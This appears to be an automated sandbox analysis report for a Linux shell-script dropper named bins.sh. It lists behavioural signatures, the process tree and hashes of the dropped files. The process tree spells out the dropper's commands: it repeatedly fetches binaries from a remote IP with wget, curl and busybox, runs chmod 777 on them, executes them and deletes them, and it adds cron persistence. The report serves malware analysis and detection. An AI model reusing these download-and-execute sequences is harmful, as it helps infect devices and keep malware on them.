Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 09:26

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    035db69b6641b2570b2aeb119a1bf0eb

  • SHA1

    3d7e86cce19e5e17794bc983f9c7cb965a9be5d3

  • SHA256

    d282873524efa06a7da01fcdc8105d7b38d00579aae047bf2a561281496ad94c

  • SHA512

    4d9f71e04134b17336fdffc586b33f72cba71b89bb130cd4745bdcc0a354295d89ed5f83861c0fab5b6b1c8c3ef2000defa6468297c9b3c08d0a671b12d23080

  • SSDEEP

    96:HD/t0NwtE/f4xZsrbxp9enzVlVo0MDK8p9edl2OVlVo09kdwv/t0NwtE/fD/sm8b:HDGboGQ5

Malware Config

Signatures

  • Contacts a large (1762) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • Executes dropped EXE
            PID:753
          • /bin/rm
            rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://216.126.231.240/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • Writes file to tmp directory
              PID:758
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • Writes file to tmp directory
              PID:769
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • Writes file to tmp directory
              PID:786
            • /bin/chmod
              chmod 777 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • File and Directory Permissions Modification
              PID:794
            • /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              ./8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • Executes dropped EXE
              PID:795
            • /bin/rm
              rm 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
                PID:798
              • /usr/bin/wget
                wget http://216.126.231.240/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • Writes file to tmp directory
                PID:799
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • Writes file to tmp directory
                PID:829
              • /bin/chmod
                chmod 777 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • File and Directory Permissions Modification
                PID:837
              • /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                ./4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • Executes dropped EXE
                PID:838
              • /bin/rm
                rm 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                  PID:840
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/chmod
                  chmod 777 hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:844
                • /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  ./hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • Executes dropped EXE
                  PID:845
                • /bin/rm
                  rm hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                    PID:847
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • Writes file to tmp directory
                    PID:848
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:849
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • Writes file to tmp directory
                    PID:850
                  • /bin/chmod
                    chmod 777 kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • File and Directory Permissions Modification
                    PID:851
                  • /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    ./kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • Executes dropped EXE
                    PID:852
                  • /bin/rm
                    rm kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                      PID:854
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • Writes file to tmp directory
                      PID:855
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:856
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • Writes file to tmp directory
                      PID:857
                    • /bin/chmod
                      chmod 777 LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      ./LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • Executes dropped EXE
                      PID:862
                    • /bin/rm
                      rm LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • Writes file to tmp directory
                        PID:867
                      • /bin/chmod
                        chmod 777 cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • File and Directory Permissions Modification
                        PID:868
                      • /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        ./cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • Executes dropped EXE
                        PID:869
                      • /bin/rm
                        rm cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                          PID:871
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • Writes file to tmp directory
                          PID:872
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • Writes file to tmp directory
                          PID:873
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • Writes file to tmp directory
                          PID:874
                        • /bin/chmod
                          chmod 777 FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • File and Directory Permissions Modification
                          PID:875
                        • /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          ./FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:876
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:878
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                • Reads runtime system information
                                PID:879
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:880
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:881
                            • /bin/rm
                              rm FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                              2⤵
                                PID:883
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
                                2⤵
                                  PID:886

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /var/spool/cron/crontabs/tmp.4bASph

                                Filesize

                                210B

                                MD5

                                5854a8fd0c8ff7490703b0f9a85d5201

                                SHA1

                                0ce7103eff4e506181a1306c9c3490cacdfcd18e

                                SHA256

                                1f8fdb6974e73c2fdc3f8c73a26e3c09fe1800f27b346aa76432d3688a852e35

                                SHA512

                                49f464d44913de60642f657c67c9b882652f33b54012d24d90e65485e95faee05fc1189e7166a5feca03cade592e9c5e5f5abf085298f0e3fd5801280b9944b8